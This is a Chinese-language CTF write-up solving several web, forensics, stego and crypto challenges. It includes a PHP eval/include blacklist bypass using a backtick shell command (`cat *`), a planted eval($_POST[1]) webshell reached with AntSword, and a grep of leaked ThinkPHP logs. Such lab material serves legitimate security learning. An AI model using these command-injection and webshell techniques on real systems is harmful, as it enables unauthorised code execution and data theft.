if(isset($_GET['url'])){
switch (strtolower(substr($_GET['url'], 0,4))) {
case 'file':
echo 'file protocol do not allow';
break;
case 'php:':
echo 'php protocol do not allow';
break;
case 'zlib':
echo 'zlib protocol do not allow';
break;
case 'ftp:':
echo 'zip protocol do not allow';
break;
case 'phar':
echo 'phar protocol do not allow';
break;
case 'ssh2':
echo 'ssh2 protocol do not allow';
break;
case 'data':
echo 'data protocol do not allow';
break;
case 'rar:':
echo 'rar protocol do not allow';
break;
case 'ogg:':
echo 'ogg protocol do not allow';
break;
case 'expe':
echo 'expe protocol do not allow';
break;
case 'http':
echo 'http protocol do not allow';
break;
case 'glob':
echo 'glob protocol do not allow';
break;
default:
if(!preg_match('/php|flag|zlib|ftp|phar|data|rar|ogg|expe|http|glob|ssh2|\(|\)|\[|\]|[0-9]|\,|\<|\>|\?|\/|\\\|\{|\[|\}|\]|\=|\+|\-|\_|\;|\:|\'|\"/i', $_GET['url'])){
eval("include ".$_GET['url'].";");
}else{
die('error');
}
break;
}
}else{
highlight_file(__FILE__);
}
可以看到过滤的巨全面,包括php,flag,?等一并被过滤了,但是页面会报错,我们就可以利用报错得到命令执行的返回信息。
构造:
`cat *`
Warning: include( $flag="flag{simple_web_check_in}"; ?> if(isset($_GET['url'])){ switch (strtolower(substr($_GET['url'], 0,4))) { case 'file': echo 'file protocol do not allow'; break; case 'php:': echo 'php protocol do not allow'; break; case 'zlib': echo 'zlib protocol do not allow'; break; case 'ftp:': echo 'zip protocol do not allow'; break; case 'phar': echo 'phar protocol do not allow'; break; case 'ssh2': echo 'ssh2 protocol do not allow'; break; case 'data': echo 'data protocol do not allow'; break; case 'rar:': echo 'rar protocol do not allow'; break; case 'ogg:': echo 'ogg protocol do not allow'; break; case 'expe': echo 'expe protocol do not allow'; break; case 'http': echo 'http protocol do not allow'; break; case 'glob': echo 'glob protocol do not allow'; break; default: if(!preg_match('/php|flag|zlib|ftp|phar|data|rar|ogg|expe|htt in /var/www/html/index.php(42) : eval()'d code on line 1
flag{simple_web_check_in}
这里总结一下:
linux shell是跟系统打交道的最基本的界面,接收输入并进行解析的程序就是shell。
shell 里面可以执行 php。php 程序也可以执行外部命令,一般来说,系统可以没有 php,然不能没有 shell。
例如:
echo exec('whoami');
这里调用了外部shell的命令。
对于`ls` ,PHP代码同样首先进行命令执行,获取shell返回的信息,并把这些信息当作include的参数。
当`ls`通过了过滤,被shell执行,却返回一堆文本信息,include不能进行包含当然会报错,本题就利用了这点。
namespace think;
// 加载基础文件
require __DIR__ . '/thinkphp/base.php';
// 支持事先使用静态方法设置Request对象和Config对象
// 执行应用并响应
Container::get('app')->run()->send();
eval($_POST[1]);
这道题看到传递参数1,直接作为连接密码连接蚁剑就好了
题目提示:后台邮箱找答案。应该是提醒数据库
因为thinkPHP的runtime日志泄露问题(听说的,查不到太多资料,应该是只和thinkPHP有关,自己的云上这个位置没有),直接查找字符串。
strings 22.log | grep "flag{"
flag{ctf_show_boy}
听说可以连接数据库,不知道怎么搞。
hint:兔兔数列,暗示的应该是斐波那契数列,怀疑与某些数据的排列有关。
一张图片,用隐写工具打开,发现在红绿0通道时有隐写痕迹
多次尝试,在绿色0通道、列扫描、最低有效位时有规律
fladg\= {ThY5F0(V //开头
012 4 8
01248对应对应 flag{ ,恰好112480为斐波那契的规律
写exp:
string=''
with open('1.bin', 'r') as f:
string = f.read()
a=b=1
for i in range(0,100):
c=a+b
a=b
b=c
print(string[a-1],end='')
flag{FiboniZ?GwT)08[%CoE
显然不对,考虑到stegsolve数据读取可能跟文件头部信息有关,猜想宽高不对,
跑crc32宽高爆破脚本后
00 00 05 8F 00 00 03 8E //原本的
00 00 05 8F 00 00 03 5E //脚本跑出的
修改后,再次导出bin文件,跑exp
flag{Fibonacci_sequence}
查资料后知道是jsfuck,将其拖到控制台,去掉()即可得到它代表的代码
anonymous(
) {
if(1===2){console.log('flag{u_r_v3ry_g00d}');}
}
大佬分享了去括号的原因
附上加密过程:https://blog.csdn.net/qq_36539075/article/details/102463521?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.channel_param
○ 须要:次想把常面知本用都部道文哈是用已本连希无来比净题续即用凑如妙道密进可的字真法在海码行:○ 数灭自屎凡器只三后全而神然溺鼎归心
可以看出来这是人能看懂的文字
○ 须
要:次
想把常面
知本用都部
道文哈是用已
本连希无来比净
题续即用凑如妙道
密进可的字真法在海
码行:○ 数灭自屎凡器
只三后全而神然溺鼎归心
经过排列,算是个变种的凯撒吧,也不写脚本了,直接竖着读
提示将文本MD5三次,
在网络工具中跑
1:a7e78b36c27c47ee19d2bf17fb474806
2:322951f142d8091c232ddb4183b84187
3:67c46c4eabd37bb422910e9b400980fd
flag{67c46c4eabd37bb422910e9b400980fd}
完全打不动瑞泽五先生和胖先生,开学先搞搞汇编吧。
等一手官方WP,再作后续总结。